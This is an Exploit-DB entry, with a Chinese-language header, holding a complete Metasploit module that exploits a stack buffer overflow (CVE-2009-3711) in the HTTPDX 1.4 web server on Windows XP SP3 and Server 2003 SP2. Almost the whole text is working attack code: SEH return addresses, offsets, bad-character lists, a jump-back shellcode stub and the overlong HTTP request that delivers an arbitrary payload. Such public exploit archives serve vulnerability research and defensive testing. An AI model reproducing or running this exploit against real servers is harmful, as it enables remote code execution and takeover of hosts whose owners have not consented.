标题: httpdx - 'h_handlepeer()' Remote Buffer Overflow (Metasploit) EDB-ID: 16799 CVE: 2009-3711 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-26 漏洞利用脚本: ##
# $Id: httpdx_handlepeer.rb 9934 2010-07-26 23:22:42Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# httpdx_handlepeer.rb
#
# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms
#  - HTTPDX 1.4 on Microsoft Windows XP SP3
#
# This vulnerability was found by Pankaj Kohli, see references.
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
    vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
    By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
   },
   'Author'         =>
    [
     'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References]
     'Trancer <mtrancer[at]gmail.com>',   # Metasploit implementation
     'jduck'
    ],
   'Version'        => '$Revision: 9934 $',
   'References'     =>
    [
     [ 'OSVDB', '58714' ],
     [ 'CVE', '2009-3711' ],
     [ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
     [ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 472,
     # other characters get mangled, but only in a temporary buffer
     'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",
     'StackAdjustment' => -3500,
     # 'DisableNops' =>  'True'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'httpdx 1.4 - Windows XP SP3 English',
      {
       'Offset'  => 476,
       'Ret'   => 0x63b81a07,  # seh handler (pop/pop/ret in n.dll)
       'Readable'  => 0x63b80131   # early in n.dll
      }
     ],
     [ 'httpdx 1.4 - Windows 2003 SP2 English',
      {
       'Offset'  => 472,
       'Ret'   => 0x63b81a07,  # seh handler (pop/pop/ret in n.dll)
       'Readable'  => 0x63b80131   # early in n.dll
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 08 2009'
  ))
 end

 def check
  info = http_fingerprint  # check method
  if info and (info =~ /httpdx\/(.*) \(Win32\)/)
   return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end


 def exploit
  uri = payload.encoded
  if target['Offset'] > payload_space
   pad = target['Offset'] - payload_space
   uri << rand_text(pad)
  end
  uri << generate_seh_record(target.ret)
  # jmp back to shellcode
  uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
  # extra causing hitting end of the stack
  uri << rand_text_alphanumeric(1024)

  uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)

  sploit = '/' + rand_text(3) + '=' + uri

  # an empty host header gives us 512 bytes in the client structure
  # (the client->filereq and client->host buffers are adjacement in memory)
  datastore['VHOST'] = ''

  print_status("Trying target #{target.name}...")
  res = send_request_raw(
   {
    'uri'      => sploit
   }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16799